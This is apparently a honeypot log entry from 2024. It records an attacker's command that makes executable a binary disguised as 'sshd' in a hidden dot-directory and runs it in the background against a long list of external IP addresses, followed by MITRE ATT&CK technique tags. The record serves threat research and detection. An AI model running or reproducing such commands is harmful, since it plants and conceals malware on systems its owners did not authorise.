Honeypot attack session (period 2024), commands issued:
chmod +x ./.8997138028306398097/sshd;nohup ./.8997138028306398097/sshd 158.51.96.38 51.15.202.128 102.130.123.110 170.130.165.65 117.161.233.102 159.65.20.186 193.169.244.205 154.12.187.10 143.198.155.160 183.131.22.164 117.161.138.2 188.93.237.82 106.124.139.221 154.126.176.254 5.42.105.40 39.109.113.183 106.116.209.107 195.154.163.212 195.133.46.73 23.26.254.205 45.147.76.155 202.129.205.122 39.152.235.158 217.64.254.108 124.118.249.114 183.134.74.142 106.225.229.4 173.212.202.192 117.148.171.16 123.184.43.214 212.132.68.83 59.47.5.35 183.221.214.95 15.206.79.116 157.245.137.163 180.163.61.238 47.236.106.83 134.209.0.27 185.175.44.159 43.248.119.73 120.232.132.200 38.7.199.161 36.108.168.4 185.217.131.210 23.94.136.106 113.250.163.226 144.126.132.126 64.64.231.208 36.158.206.226 112.4.238.226 13.42.129.207 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter